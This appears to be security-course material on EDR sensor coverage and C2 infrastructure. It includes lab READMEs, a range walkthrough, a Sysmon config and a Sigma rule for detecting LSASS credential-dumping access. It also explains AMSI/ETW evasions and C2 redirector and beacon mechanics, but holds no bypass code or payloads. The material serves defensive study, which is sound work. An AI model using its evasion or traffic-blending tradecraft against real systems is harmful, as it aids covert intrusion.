All evade the user-mode hook only. The detections: a call-stack / return-address anomaly (the
syscall returns into private/unbacked memory instead of ntdll, visible to ETW-TI stack walks); a
duplicate ntdll image map; hook-integrity checks; and the kernel consequence — the memory
op or remote thread still fires the kernel callback and ETW-TI. So I never key a detection on the hook
firing; I key on the call stack and the kernel event.
Q5. Where does AMSI sit, what does it scan, and if it's bypassed, how is that detectable?
AMSI (amsi.dll, AmsiScanBuffer) sits in-process and receives the de-obfuscated buffer from
PowerShell, WSH, Office VBA, and in-memory .NET assembly loads — content as it will execute, defeating
on-disk obfuscation. Because it is in-process it can be blinded (force a clean result / neutralize the
context). But the bypass is one of the most reliably detected acts in the phase: the AMSI test string
should always come back detected, so a clean verdict on a known-bad buffer is tamper; forcing the result
usually patches amsi.dll .text (RWX/write, visible to ETW-TI); and PowerShell script-block logging
(4104) is a separate sensor that keeps firing — the de-obfuscated script is still logged. So AMSI
bypass blinds one sensor, and a sibling sensor plus the bypass artifact still catch it.
Q6. A technique "evaded the EDR." How do you reason about what was actually blinded?
I refuse the headline and decompose it. Which sensor saw this behavior on a fully-instrumented host?
Which boundary is it at? Which specific evasion was used, and which sensor does it blind — and is that
sensor in-process (blindable) or kernel/out-of-process (not)? Then: which sensor survives, and is the
evasion itself observable? That is exactly Lab 02's residual_visibility / still_detectable /
residual_detection. The output is "user-mode ETW and the ntdll hook were blinded; the kernel callback
and ETW-TI survived and saw the injection; and the ETW patch is detectable as RWX on ntdll." A finding,
not a shrug.
Q7. What is the Pyramid of Pain and how does it judge a rule you wrote?
It ranks indicators by cost-to-change: hashes (trivial) → IPs → domains → host/network artifacts → tools
→ TTPs (very hard). A rule keyed low on the pyramid (a hash, an AMSI string, a filename) dies the moment
the adversary recompiles or renames; a rule keyed on a TTP — the behavior's irreducible kernel
consequence, like a non-system process opening LSASS with read rights — survives. Robustness comes from
the trust boundary: TTP-level rules sit on kernel/out-of-process sensors the payload can't reach. I
judge my own rules by where they sit and try to build at the tip.
Q8. Walk me from a telemetry gap to a closed gap. Enumerate the threat-model techniques; map each to required data sources; inventory what the host collects; classify detectable/partial/blind; find the single missing sensor that recovers the most (say, ETW-TI or command-line logging); produce the ranked improvement plan; for covered-but-evadable sensors, do residual analysis to find hidden gaps. Then close one: change the Sysmon config to turn on the data source, write the Sigma rule on the kernel sensor at the TTP level with FP tuning, and verify it fires by running a benign Atomic test and confirming the alert — with no false positive on normal activity. That loop, with the artifacts, is the consulting deliverable.
References
Microsoft primary docs
- Kernel notify routines:
PsSetCreateProcessNotifyRoutineEx,PsSetLoadImageNotifyRoutine,PsSetCreateThreadNotifyRoutine,ObRegisterCallbacks,CmRegisterCallbackEx,FltRegisterFilter(Windows Driver Kit /ntddk.hreference on learn.microsoft.com). - Event Tracing for Windows (ETW) and the Microsoft-Windows-Threat-Intelligence (ETW-TI) provider documentation.
- AMSI (Antimalware Scan Interface) developer documentation, including the AMSI test sample.
- WDAC (Windows Defender Application Control) and the Microsoft vulnerable-driver blocklist.
EDR internals and detection research
- Elastic Security Labs posts on EDR internals, ETW-TI, and call-stack-based detection.
- CrowdStrike and Microsoft engineering blogs on kernel callbacks and in-memory detection.
- Windows Internals (Russinovich, Solomon, Ionescu) — kernel notifications and ETW chapters.
- Windows APT Warfare — Sheng-Hao Ma (PE format, loaders, native internals).
Detection engineering
- The Sigma specification and rule repository (SigmaHQ).
- Sysmon documentation and configs: SwiftOnSecurity/sysmon-config and Olaf Hartong sysmon-modular.
- David Bianco — The Pyramid of Pain.
- MITRE ATT&CK data sources / data components; CTID Sensor Mappings to ATT&CK; MITRE D3FEND.
- Atomic Red Team (benign technique tests) and SilkETW / Sealighter(-TI) for ETW(-TI) consumption.
Every concept above is presented for authorized detection engineering and emulation. The labs and guides contain no working bypass, no unhooking code, and no deployable evasion — only models that turn "what could blind us" into "the detection that fires regardless."
Hitchhiker's Guide — Observe the Sensors, Find a Gap, Close It on an Owned Range
The operator/detection-engineer range walkthrough for Phase 07. You stand up an owned detection range, run benign Atomic Red Team tests, observe which sensors actually fire, identify a telemetry gap, then close it with a Sysmon config change plus a Sigma rule, and verify the rule fires. This is the runtime counterpart to the WARMUP: it proves effective visibility, not intended config.
Safety (non-negotiable). Everything here runs on an isolated, owned range you built. The only "attacker" actions are benign Atomic Red Team test cases that simulate a technique's observable footprint without doing harm. There are no bypass steps in this guide — no unhooking, no ETW/AMSI patching, no evasion artifact. The exercise is purely defensive: see what the sensors see, find the blind spot, and close it. Never run any of this on a host you do not own.
Table of Contents
- 0. Authorize and scope
- 1. Build the range
- 2. Turn on the sensors (and prove they're on)
- 3. Run a benign Atomic test and observe which sensors fire
- 4. Identify the telemetry gap
- 5. Close the gap: Sysmon config + Sigma rule
- 6. Verify the rule fires (and doesn't false-positive)
- 7. The evidence packet
- 8. Teardown and cost control
- Common false claims
0. Authorize and scope
Before anything boots, write down — in the range notebook — the five facts from Phase 00:
- Owner: you. The range is yours; no shared infrastructure, no corporate domain.
- Scope: the named lab VMs only, on an isolated vSwitch with deny-by-default egress.
- Methods: benign Atomic Red Team tests and defensive configuration only. No bypass, no evasion artifact, no live malware.
- Data: synthetic; no real credentials, customer data, or PII in any fixture, capture, or screenshot.
- Stop conditions: any unexpected egress, any VM reaching a non-lab network, or any test that is not on the pre-approved benign list → stop, snapshot, investigate.
If you cannot name owner/scope/methods/data/stop-conditions, you do not power on. This is the same reflex Phase 00 trained.
1. Build the range
A minimal, free, fully-owned detection range:
isolated vSwitch (host-only, deny-by-default egress)
/ | \
Win 10/11 client Win Server (optional DC) Detection stack
- Sysmon (driver) - same Sysmon config - Wazuh OR Elastic (free)
- a free EDR agent - log forwarder - log ingest + Sigma rules
- PowerShell 5.1 + 7 - log forwarder - dashboards / alerts
- Atomic Red Team
- Endpoint: a Windows 10/11 VM. Install Sysmon (Sysinternals) with a known config, and a free EDR (e.g. Wazuh agent, or the Elastic Agent/Defend, or Microsoft Defender for the AMSI/ETW side). PowerShell is pre-installed; install Atomic Red Team (Invoke-Atomic) for the benign tests.
- Detection stack: a Wazuh or Elastic server VM to ingest the endpoint's logs and run
detections. Both are free, both ingest Sysmon and Windows event logs, and both can run Sigma rules
(Wazuh via converted rules; Elastic via the detection engine /
sigmac/sigma-cliconversion). - Snapshot every VM in a clean state before you start. You will roll back to it for each test.
This mirrors the detection range in the repo's range diagram — never bridged to home, corporate, or public networks.
2. Turn on the sensors (and prove they're on)
Install Sysmon with a community baseline so you start from sane, well-tuned collection:
# install/update Sysmon with a config (run elevated on the endpoint)
Sysmon.exe -accepteula -i sysmonconfig.xml # SwiftOnSecurity baseline, or...
Sysmon.exe -c sysmon-modular.xml # Olaf Hartong's ATT&CK-tagged modular config
Prove it is effective, not just installed (the WARMUP's "effective state, not intended config" rule):
- Confirm the Sysmon service/driver is running and the config is loaded:
Sysmon.exe -cprints the active config; the Microsoft-Windows-Sysmon/Operational event log should be filling with Event ID 1 (ProcessCreate) as you do normal things. - Confirm the endpoint's logs are reaching the detection stack — open the Wazuh/Elastic dashboard and see live events. Collection that never ships is a blind spot that looks covered.
- Note which data sources are on by default in your config and which are off: many baselines
ship with command-line logging on but
ProcessAccess(Sysmon 10) limited or off (it is noisy), and DNS query (22) sometimes off. Those off-by-default rows are your candidate gaps.
Record the sensor inventory you actually have — this is the input to Lab 01.
3. Run a benign Atomic test and observe which sensors fire
Atomic Red Team provides small, benign test cases per ATT&CK technique. Pick one whose observable footprint you want to study — described here, run on your range, never against anything you don't own:
T1059.001PowerShell — a benign Atomic that runs a harmless encoded command. Expected sensors: Sysmon 1 (process-create ofpowershell.exewith the command line), PowerShell script-block log 4104 (the de-obfuscated content), and an AMSI scan of the buffer (Defender). Watch all three fire; this is the "multiple sibling sensors" lesson live.T1218LOLBin (e.g. a benignrundll32/mshtatest) — Expected: Sysmon 1 with the unusual parent/child and command line. The detection lives in command-line + parent/child, which is why command-line logging is so high-value.T1003.001LSASS access (benign read test) — a test that opens a handle tolsass.exe. Expected: Sysmon 10ProcessAccesswith aGrantedAccessmask — only ifProcessAccessis enabled in your config. This is the gap most ranges discover.
For each test: roll back to the clean snapshot, run the single Atomic, then in the dashboard list
exactly which sensors produced an event for it. Write it down as technique -> {sensors that fired}.
That mapping is the ground truth you compare against Lab 01's model.
Keep it benign. The goal is the telemetry footprint, not impact. Invoke-Atomic's tests are designed to be safe; still, run only ones you have read and pre-approved, and roll back after each.
4. Identify the telemetry gap
Compare what fired to what should have fired for a robust detection:
- For
T1003.001, if you saw a process-create of the dumping tool but no Sysmon 10ProcessAccessevent onlsass.exe, you have found the gap: your config is not collecting the handle-open data source, so the robust (kernel-boundary) detection has nothing to fire on. You are relying on a brittle process-name signal instead. - For
T1055injection (if you study it via a benign test), if you collect user-mode ETW but not ETW-TI, the in-memory allocation/protect/inject signals are absent — a named, high-value blind spot. - For
T1218LOLBins, if command-line logging is off, you see thatrundll32ran but not with what arguments — the detection's key field is missing.
This is exactly the Lab 01 classification by hand: the technique is partial (process-create present, the discriminating sensor absent) or blind. Feed your real inventory and the technique's required sensors into the analyzer and confirm it ranks the missing sensor as the top investment.
5. Close the gap: Sysmon config + Sigma rule
Closing a gap is two moves: turn on the data source, then write the detection on it.
(a) Sysmon config change — turn on the data source. For the LSASS-access gap, enable
ProcessAccess on lsass.exe (and tune it to keep the noise sane):
<!-- add to the <ProcessAccess> section of your sysmon config -->
<RuleGroup name="lsass-access" groupRelation="or">
<ProcessAccess onmatch="include">
<TargetImage condition="image">lsass.exe</TargetImage>
</ProcessAccess>
<!-- exclude known-legitimate readers to control false positives -->
<ProcessAccess onmatch="exclude">
<SourceImage condition="image">MsMpEng.exe</SourceImage> <!-- Defender -->
<SourceImage condition="image">wininit.exe</SourceImage>
</ProcessAccess>
</RuleGroup>
Reload: Sysmon.exe -c sysmonconfig.xml. Now Sysmon 10 events for LSASS handle opens will flow. (This
is a telemetry decision — it flips T1003.001 from partial toward detectable in Lab 01's terms.)
(b) Sigma rule — the detection on the new data source, keyed at the TTP level (the behavior, not a tool name), on the kernel-boundary sensor so it survives user-mode evasion:
title: Suspicious LSASS Handle Access (Credential Dumping)
id: 9f1b6e2c-7a44-4c2e-9d11-0c2f3a5b6e88
status: experimental
description: A non-system process opened a handle to lsass.exe with VM-read/clone rights.
references:
- https://attack.mitre.org/techniques/T1003/001/
logsource:
product: windows
category: process_access # Sysmon Event ID 10
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1010' # PROCESS_VM_READ | QUERY_INFO
- '0x1410'
- '0x143a'
filter_known_good:
SourceImage|endswith:
- '\MsMpEng.exe'
- '\wininit.exe'
- '\csrss.exe'
condition: selection and not filter_known_good
falsepositives:
- EDR/AV/backup agents may legitimately read lsass; tune by SourceImage.
level: high
tags:
- attack.credential-access
- attack.t1003.001
Convert and load it into your stack (sigma-cli / sigmac to Wazuh or Elastic). The rule keys on the
GrantedAccess rights mask — the irreducible consequence of reading LSASS — not on the tool's
name, so renaming or recompiling the tool does not evade it (top of the Pyramid of Pain).
6. Verify the rule fires (and doesn't false-positive)
A rule you did not see fire is a hope, not a detection. Verify both directions:
- True positive: roll back to clean, re-run the benign
T1003.001Atomic, and confirm the new Sigma rule alerts in the dashboard, with the expectedTargetImage,GrantedAccess, andSourceImage. - False positive check: do normal activity (log in, open apps, let Defender run) and confirm the rule
does not alert — your
filter_known_goodis doing its job. If Defender (MsMpEng.exe) trips it, widen the exclusion by source, never by weakening theGrantedAccessselection. - Robustness reasoning (no bypass run): argue why this rule survives a user-mode evasion — because
the handle open is a kernel
ProcessAccessevent, anntdllunhook or ETW patch in the dumper's own process does not remove it. This is the Lab 02 residual-visibility claim, applied.
Record the before/after: technique was partial/blind, you added one data source and one rule, and it is now detectable and the alert fires on the benign test with no FP on normal use.
7. The evidence packet
Collect, hash, and store (in the management network, never published raw):
- The sensor inventory before and after (which data sources were on).
- The
technique -> {sensors that fired}observation table from step 3. - The gap finding (the named missing data source) and Lab 01's ranking confirming it.
- The Sysmon config diff and the Sigma rule (the two artifacts that close the gap).
- The verification screenshots: the alert firing on the benign Atomic test, and the absence of a false positive on normal activity.
- A one-paragraph narrative: technique, the blind spot, the boundary it sits at, the close, the verification — observation separated from inference.
This packet is the publishable, sanitized Phase 07 portfolio artifact (the detection-gap close), with no real targets, no credentials, and no evasion code.
8. Teardown and cost control
- Revert every VM to the clean snapshot; the range holds no engagement state between sessions.
- If the range is on a cloud sandbox, destroy the VMs and confirm the bill returns to baseline; budgets/quotas/alerts were set before first boot (Phase 00 rule).
- Purge raw logs you do not need for the evidence packet; keep only what explains and remediates.
- Confirm no egress occurred to any non-lab network during the session (review the deny-by-default firewall logs).
Common false claims
- "I evaded the EDR." On a defensive range you ran benign tests and closed a gap — there was no evasion. The honest claim is "I found and closed a telemetry gap and verified the detection."
- "The EDR can't see LSASS dumping." It can — if the
ProcessAccessdata source is collected. The gap was config, not capability. Never generalize a config gap into a product limitation. - "The rule works because it fired once." Firing on the seeded test is necessary, not sufficient. State where the rule sits on the Pyramid of Pain and which boundary it keys on — that is what predicts whether it survives the next evasion.
- "Turning on more logging fixes it." You turned on the one data source the gap analysis ranked highest and wrote the rule on it. Unfocused logging is cost without coverage.
- "Detectable means done." Detectable means the data exists and the rule fires; maintaining the rule (FP tuning, ownership, regression) is the durable deliverable a client actually keeps.
Lab 01 — EDR Telemetry-Gap Analyzer
Lens: detection-coverage / threat-informed defense. WARMUP: Chapters 1, 2, 8, 9.
The problem
Meridian Freight's EDR did not "miss" FIN-LATTICE by accident — it was blind to a specific behavior because it was not collecting the data source that behavior emits. A red team's most valuable Phase 07 deliverable is not "we evaded the EDR"; it is the detection-gap map: given the sensors the org actually collects, which ATT&CK techniques are detectable, which are only partially covered, which are flat blind — and which single missing sensor, bought first, recovers the most coverage.
This lab builds that map. It models a sensor inventory (process-create, command-line, image-load, kernel callbacks, ETW, ETW-TI, AMSI, network, file events, registry, script-block logging) against a catalog of techniques, each annotated with the data sources required to detect it robustly. It then computes coverage and a prioritized telemetry-improvement plan. The lesson encoded: evasion blinds a sensor; the defense is to know which sensor each technique needs and to close the cheapest, highest- value gap first.
Safety. Authorized-education only. This reasons over synthetic sensor metadata. There is no EDR bypass, no unhooking code, no deployable evasion — only a coverage model that turns "what could blind us" into "what telemetry to invest in first."
What you build (lab.py)
classify(technique_id, sensors)—{technique, name, required, present, missing, state}. State isdetectablewhen all required sensors are present,blindwhen none are,partialotherwise. (Conservative: partial coverage is brittle — one evasion that blinds a single sensor can drop you below the line.)coverage(techniques, sensors)—{detectable, partial, blind, by_technique, score}.blind_techniques(techniques, sensors)— the fully-blind technique ids.best_sensor_to_add(techniques, sensors)— the single missing sensor that flips the most techniques todetectable(the highest-value telemetry investment), with the techniques it recovers.improvement_plan(techniques, sensors)— the greedy, prioritized plan: add the highest-gain sensor, repeat until nothing more helps.
Attack → detection cases the tests cover
- A command-line-only shop detects cmd/LOLBin execution but is blind to process injection (needs ETW-TI + kernel callbacks) and only partially covers LSASS dumping.
best_sensor_to_addreturns the sensor that maximizes the number of techniques flipped to detectable — and the test proves no other single sensor beats it.- Adding that sensor actually flips the named techniques from blind/partial to detectable.
- The
improvement_planis monotonic (cumulative coverage strictly increases) and terminates (after it, no single sensor still helps). - Full coverage yields no recommendation; unknown techniques and empty inputs are handled; all output is deterministic.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes (11 tests)
pytest -q # your implementation after the TODOs
# fallback interpreter:
LAB_MODULE=solution /Users/s0x/src/10xdev/ai-enigneer/.venv/bin/python -m pytest -q
Hardening / detection extensions
- Load the real ATT&CK → data-source mapping (ATT&CK data sources / data components, the CTID "Sensor Mappings to ATT&CK" project) and the org's actual Sysmon config + ETW provider list.
- Model alternative detection paths (OR-of-AND): real techniques have more than one way to be seen; replace the single AND-of-all required set with a list of sufficient sensor sets.
- Weight sensors by cost and noise (AMSI and full command-line are cheap and high-value; raw ETW kernel tracing is expensive) and make the plan cost-aware.
- Join with Lab 02: a technique that is "detectable" on paper may still be blinded by a specific user-mode evasion — feed Lab 02's residual-visibility result back in to flag brittle coverage.
- Emit an ATT&CK Navigator layer coloring detectable / partial / blind for the executive gap map.
Multi-language extension (own range)
Re-implement the set-cover core in Rust or Go as a CLI that ingests a real sysmonconfig.xml
and an ATT&CK data-source export and prints the gap map + plan as JSON for a CI gate ("coverage must
not regress").
Interview / resume
"Built an EDR telemetry-gap analyzer that scores an org's ATT&CK detection coverage against its actual sensor inventory, classifies each technique detectable/partial/blind, and computes the single highest- value missing data source plus a greedy telemetry-improvement plan — turning 'the EDR was blind here' into a prioritized, defensible investment roadmap."
Limitations: a representative slice of sensors and techniques, not the full ATT&CK matrix; one AND-of-all required set per technique (real detection logic is OR-of-AND with alternative paths); "detectable" here means the data exists, not that a tuned rule fires without false positives; the greedy plan is a 1-step-lookahead heuristic (set cover is NP-hard) — a defensible prioritization, not a proven optimum.
Lab 02 — AMSI/ETW Residual-Visibility Mapper
Lens: the sensor map / residual detection. WARMUP: Chapters 3–6.
The problem
The most dangerous belief on both sides of EDR is "I evaded the EDR." No one evades "the EDR" — you
blind a specific sensor. The whole detection-engineering insight of Phase 07 is that the EDR is not
one eye; it is a stack of sensors at different trust boundaries, and an evasion that lives in the
attacker's own user-mode process can only blind the sensors that process can reach. Patch ntdll's
hooks, patch EtwEventWrite, bypass AMSI — all of that happens in ring 3. The kernel notify
routines (PsSetCreateProcessNotifyRoutine, image/thread callbacks) and the kernel-emitted ETW-TI
provider fire from ring 0 and never see the patch. So the injected payload that "evaded the EDR" is
still in the kernel callback's logbook. And the act of evading — the AMSI bypass, the ETW patch, the
ntdll unhook — is itself a detection.
This lab makes that concrete. A technique's behavior is the set of sensors that would observe it on a fully-instrumented host. You apply evasions, each of which blinds specific (user-mode) sensors, and compute what visibility remains, whether it is still detectable, and the residual detection.
Safety. Authorized-education only. This models which sensor each evasion blinds and which survive over synthetic metadata. There is no working bypass, no patch routine, and no unhooking code anywhere in this lab.
The lesson encoded
behavior (fully instrumented)
user-mode: ntdll_hook amsi etw_dotnet script_block <- attacker can reach & blind these
kernel: kernel_callbacks etw_ti minifilter network <- ring 0; survive user-mode evasion
apply { unhooked_ntdll, amsi_bypassed, etw_patched } -> blinds the user-mode row ONLY
residual = { kernel_callbacks, etw_ti, ... } -> STILL DETECTABLE
AND each evasion is itself observable -> a residual detection even if every sensor is blinded
What you build (lab.py)
residual_visibility(behavior, evasions)—{behavior, original, blinded, residual, residual_kernel, residual_user}. The kernel/user split is the lesson made executable.still_detectable(behavior, evasions)—Trueif any sensor survives or any applied evasion is itself detectable.residual_detection(behavior, evasions)—{detectable, via_sensors, sensor_detections, evasion_detections, summary}.via_sensorslists kernel sensors first (the durable detection), andevasion_detectionsgives the detection of each evasion itself.
Attack → detection cases the tests cover
- Core invariant: no modeled evasion blinds a kernel sensor (asserted directly over
EVASIONS). - An ETW patch blinds the user-mode CLR ETW provider, but the kernel callback and ETW-TI survive — the behavior is still detectable.
- An unhooked ntdll blinds the user-mode hook, but the kernel callback still sees the injection.
- An AMSI bypass on a script-only behavior blinds every observing sensor — yet the behavior is still detectable because the AMSI bypass is itself observable.
- The full user-mode evasion set vs a kernel-observed behavior leaves the kernel residual intact; partial ⊇ full residual; unknown evasions blind nothing; output is deterministic.
Run
pip install -r requirements.txt
LAB_MODULE=solution pytest -q # reference passes (12 tests)
pytest -q # your implementation after the TODOs
# fallback interpreter:
LAB_MODULE=solution /Users/s0x/src/10xdev/ai-enigneer/.venv/bin/python -m pytest -q
Hardening / detection extensions
- Encode the specific residual Sigma logic for each surviving sensor (e.g. ETW-TI
RWX on a system DLL, image-load of a second cleanntdll, AMSI-bypass test-string signature) and emit it as a rule stub. - Model EDR variation: different products hook different functions and emit different ETW-TI signals; parameterize which sensor each evasion actually blinds per product.
- Feed the residual set back into Lab 01: a technique that Lab 01 calls "detectable" may be brittle if its only surviving sensor is one a common evasion blinds — flag it.
- Add call-stack telemetry as a first-class sensor and model how indirect syscalls still leave a return-address anomaly.
Multi-language extension (own range)
On the owned range, stand up Sysmon + an ETW-TI consumer (SilkETW/SealighterTI) and write a small C# or Rust ETW consumer that records which providers fire for a benign Atomic test — then compare the real residual to this model's prediction. (Consume telemetry only; never ship a bypass.)
Interview / resume
"Built an AMSI/ETW residual-visibility mapper that, given a technique's sensor footprint and a set of evasions, computes which sensors remain, proves user-mode evasions never blind kernel sensors, and emits the residual detection — including the detection of the evasion itself when every observing sensor is blinded."
Limitations: a representative slice of evasions and sensors; each evasion blinds a fixed sensor set (real evasions vary by implementation and EDR product); "still detectable" means a surviving sensor or detectable evasion exists, not that a tuned rule fires noise-free; the residual detections are illustrative Sigma-style intent, not validated rules.
Phase 08 — C2 Infrastructure
Operation Cedar Lattice, Phase 08. Phase 07 mapped exactly which sensors Meridian Freight's EDR fired during each execution technique and built the durable detections the client keeps. Now the engagement moves to the network layer. The implant is running on Meridian Freight's internal host. We need it to phone home without being caught by the NOC, the SIEM, or the proxy team. This phase builds the command-and-control (C2) infrastructure analysis capability — understanding the full operator → team server → redirector → implant stack so deeply that we can design the network-level detections that would catch FIN-LATTICE regardless of which C2 framework they deploy.
Safety (non-negotiable). Authorized security-education only. This phase explains C2 architecture and beacon mechanics strictly to predict network telemetry and engineer detections. The labs are beacon-timing analyzers and malleable-profile analyzers over synthetic metadata. There is no working C2 server, no shellcode, no working implant, no deployable bypass, and no weaponized payload in this repo. Every offensive concept ends in its detection. This is the same boundary as every prior phase.
Why this phase exists
The network is the final checkpoint. An implant that silently exfiltrates data still has to talk to a team server — and every byte it sends crosses the wire where a sensor can see it. The operators who evade EDR but get caught on the network lose the engagement. The operators who understand what the SOC's NetFlow analysis, JA3 fingerprinting, and proxy logs actually see can design infrastructure that blends in — and, for a detection engineer, knowing that is how you build network detections that fire regardless of which C2 framework an adversary deploys.
Red team consultants who understand C2 infrastructure at this level can answer the question Meridian Freight's CISO will ask at the debrief: "What network evidence should we have seen, and why didn't our tools catch it?" That answer is a detection gap map — a deliverable with a dollar value.
This phase is also the place where JA3/JA4 TLS fingerprinting, beacon jitter math, and redirector architecture stop being buzzwords on a slide and become concrete engineering problems you can solve or detect.
Learning Objectives
By the end of this phase you can, without notes:
- Draw the C2 architecture end to end — operator console → team server → redirector chain → implant — and explain each component's role, why each layer exists, and what telemetry it exposes.
- Explain the beacon check-in cycle precisely: the sleep/jitter formula (
sleep * (1 ± jitter/100)), HTTP staging URI structure, POST body encoding, and task-polling flow. - Explain JA3 and JA4 fingerprinting — the exact fields that compose the hash (TLS version, cipher suites as ordered decimal IDs, extensions, elliptic curves, point formats), why reordering ciphers changes the hash, and how defenders use JA3 blocklists and anomaly scoring.
- Explain redirector patterns — Apache
mod_rewriterules, Nginxproxy_pass, domain fronting via CDN SNI/Host-header split — and the network-level detections that expose each. - Explain malleable profiles (Cobalt Strike nomenclature but framework-agnostic concept) — named pipe, user-agent, URI paths, sleep/jitter, cert subject — and identify the default indicators that make a profile "noisy."
- Build a beacon timing analyzer: compute median inter-connection gap, coefficient of variation, and classify a process's connection pattern as beaconing, interactive, or benign.
- Build a C2 profile analyzer: score a malleable profile for default indicators, enumerate redirector gaps, enumerate detection opportunities, and recommend the highest-impact mitigation.
Cedar Lattice Artifact
This phase produces the C2 Infrastructure Detection Map for the Meridian Freight engagement: a structured analysis of FIN-LATTICE's likely C2 channel — what beacon rhythm their implant uses, what redirector gaps their profile contains, and exactly which detection rules (JA3 blocklist, beacon-timing Sigma, process-to-network anomaly) would have caught the traffic at each stage. This document goes directly into the final red-team report as the network-layer finding.
Labs
| Lab | What you build |
|---|---|
| lab-01-beacon-rhythm-analyzer | Compute beacon interval, jitter coefficient, rhythm classification, and anomalous-process detection over synthetic NetFlow metadata |
| lab-02-c2-profile-analyzer | Score a malleable C2 profile for default indicators, enumerate redirector gaps, enumerate detection opportunities, and recommend best mitigation |
How to run
# Lab 01 — run stubs (should fail with NotImplementedError)
cd lab-01-beacon-rhythm-analyzer
pytest -q
# Lab 01 — run reference solution (should pass)
LAB_MODULE=solution pytest -q
# Lab 02 — run stubs (should fail with NotImplementedError)
cd ../lab-02-c2-profile-analyzer
pytest -q
# Lab 02 — run reference solution (should pass)
LAB_MODULE=solution pytest -q
WARMUP — C2 Infrastructure
Table of Contents
- Chapter 1: C2 Architecture End-to-End
- Chapter 2: Beacon Check-In Mechanics
- Chapter 3: Redirectors and Traffic Blending
- Chapter 4: JA3/JA4 Fingerprinting Under the Hood
- Chapter 5: Malleable Profiles
- Chapter 6: Detection Engineering for C2
- Chapter 7: OPSEC Hygiene
- Chapter 8: Misconceptions
- Lab Walkthrough
- Success Criteria
- Common Mistakes and OPSEC Failures
- Interview Q&A
- References
Chapter 1: C2 Architecture End-to-End
The Stack
A fully-built C2 infrastructure has four distinct components arranged in a relay chain. Here is the canonical layout:
Operator Console ──► Team Server ──► Redirector (CDN / VPS) ──► Implant / Beacon
│ │ │ │
Cobalt Strike Teamserver.c2 Apache/Nginx svchost.exe
operator GUI port 50050 mod_rewrite (injected DLL)
Each layer has a distinct role, a distinct trust relationship with its neighbors, and distinct telemetry exposure. The entire point of this architecture is to make each layer expendable without burning the others.
Operator Console
The operator console is the GUI or CLI that the red team operator uses to issue commands, view check-ins, manage listeners, and receive output. In Cobalt Strike the operator connects to the team server over TCP port 50050 using a shared password and a per-engagement cryptographic keypair. The operator sees a "beacon" object for each active implant — a row representing a connected host, its last check-in time, its privilege level, and the listener it uses.
The operator never communicates directly with the implant. Every command the operator issues (run whoami, dump LSASS, lateral-move to host X) is stored server-side and delivered to the implant on its next check-in. This decoupling is fundamental: the implant is pull-based, not push-based. If the team server disappears, the implant keeps sleeping and waiting.
The operator console also controls the listener configuration — the parameters the implant uses to check in. This includes the callback host (which is the redirector's domain, not the team server), the callback port, the HTTP method, the URI path, and the sleep/jitter values.
Team Server
The team server is the actual C2 server. It has two faces:
- It listens on a high port (50050 for Cobalt Strike) for authenticated operator connections. This port should never be exposed to the public internet — it is reached over SSH tunnel or a VPN from the operator's workstation.
- It listens on 80 and/or 443 for beacon callbacks. However — and this is the critical point — in a well-configured engagement, the team server's IP is never in the beacon's config. The beacon only knows the redirector. The team server's callback listener accepts connections forwarded by the redirector.
The team server maintains per-beacon state: which tasks are pending, which tasks have been delivered, the beacon's metadata (hostname, username, process ID, architecture, sleep interval), and the output history. This state is critical — if the team server is lost the operator loses all context about active beacons.
The team server is the component that an IR team most wants to find. Burning the redirector is inconvenient (the operator spins up a new one); burning the team server is engagement-ending. This is why the two-hop model is non-negotiable for professional engagements.
Redirector
The redirector is a lightweight relay. It is a VPS or CDN endpoint that accepts HTTP/S connections from beacons and forwards them to the team server. It adds three critical capabilities:
IP protection. The beacon's config contains only the redirector's IP or domain. If the target's IR team finds the beacon and pulls its config, they see only the redirector. The team server IP is not in the config.
Traffic categorization. The redirector domain is pre-registered days or weeks before the engagement, with a plausible cover story (technology consulting firm, CDN edge node). It has a valid TLS certificate from a public CA. When the proxy team at Meridian Freight looks up the category of the destination domain, it shows "Technology" or "Content Delivery," not "Uncategorized." Uncategorized new domains are immediately suspicious.
Traffic blending. The redirector can serve real content to anything that doesn't look like a beacon check-in. An IR analyst manually browsing to the redirector's domain sees a plausible website, not a blank page or a refused connection. A Shodan scanner sees a normal web server. Only connections that match the expected User-Agent, URI path, and header pattern are forwarded to the team server; everything else is redirected to a legitimate site with a 302.
Implant / Beacon
The implant is the code running inside a host process on the target (e.g., a DLL injected into svchost.exe, a reflectively-loaded PE in explorer.exe). It operates in a loop: sleep for the configured interval (with jitter), wake up, build an HTTP/S request to the redirector, send it, parse the response for pending tasks, execute any tasks, POST the results back, sleep again.
The implant has no persistent network connections. Each check-in is a fresh HTTP request. From a NetFlow perspective, it looks like a process periodically making outbound HTTP/S connections to a CDN endpoint.
Two-Hop Trust Model
The trust model across the stack:
- Operator → Team Server: Mutually authenticated. Cobalt Strike uses a per-engagement keypair; the operator authenticates with the shared password and validates the server's certificate. This channel is encrypted and not visible to the target network (it goes over the operator's own infrastructure).
- Team Server → Redirector: The team server does not authenticate the redirector. The redirector is configured to forward matching requests. The team server simply accepts HTTP connections from the redirector's IP; if the operator is careful, the team server's firewall allows 80/443 only from the redirector's IP.
- Redirector → Beacon: This is the actual C2 channel. It is HTTP or HTTPS. If HTTPS, the TLS termination happens at the redirector (the beacon validates the redirector's certificate, not the team server's). The redirector may terminate TLS and forward plaintext internally to the team server, or it may pass through the TLS session.
Telemetry Exposure Per Layer
| Layer | Visible telemetry |
|---|---|
| Beacon → Redirector | DNS query for redirector domain; TLS ClientHello (JA3 fingerprint); HTTP/S request (URI, User-Agent, headers); connection timing; bytes transferred |
| Redirector → Team Server | Internal network flow (VPS-to-VPS or CDN-to-origin); only visible if IR pivots to the redirector host |
| Operator → Team Server | External to target network; not visible to target's SOC |
Detection angles available to a defender at Meridian Freight: JA3 blocklist (Zeek ssl.log), domain categorization (proxy log enrichment), beacon timing analysis (NetFlow CV), URI path signature (proxy log pattern match), process-to-network anomaly (Sysmon EID 3 correlation).
Chapter 2: Beacon Check-In Mechanics
Sleep and Jitter
Every beacon has two timing parameters: sleep (seconds) and jitter (percentage). The effective sleep for each check-in cycle is computed as:
effective_sleep = sleep_seconds * (1 + random.uniform(-jitter_pct / 100, jitter_pct / 100))
Example: sleep = 60, jitter = 20. The uniform sample is drawn from [-0.20, +0.20], so the effective sleep for each cycle is drawn from [48, 72] seconds. The beacon does not check in at a perfectly regular interval — it checks in somewhere in that window.
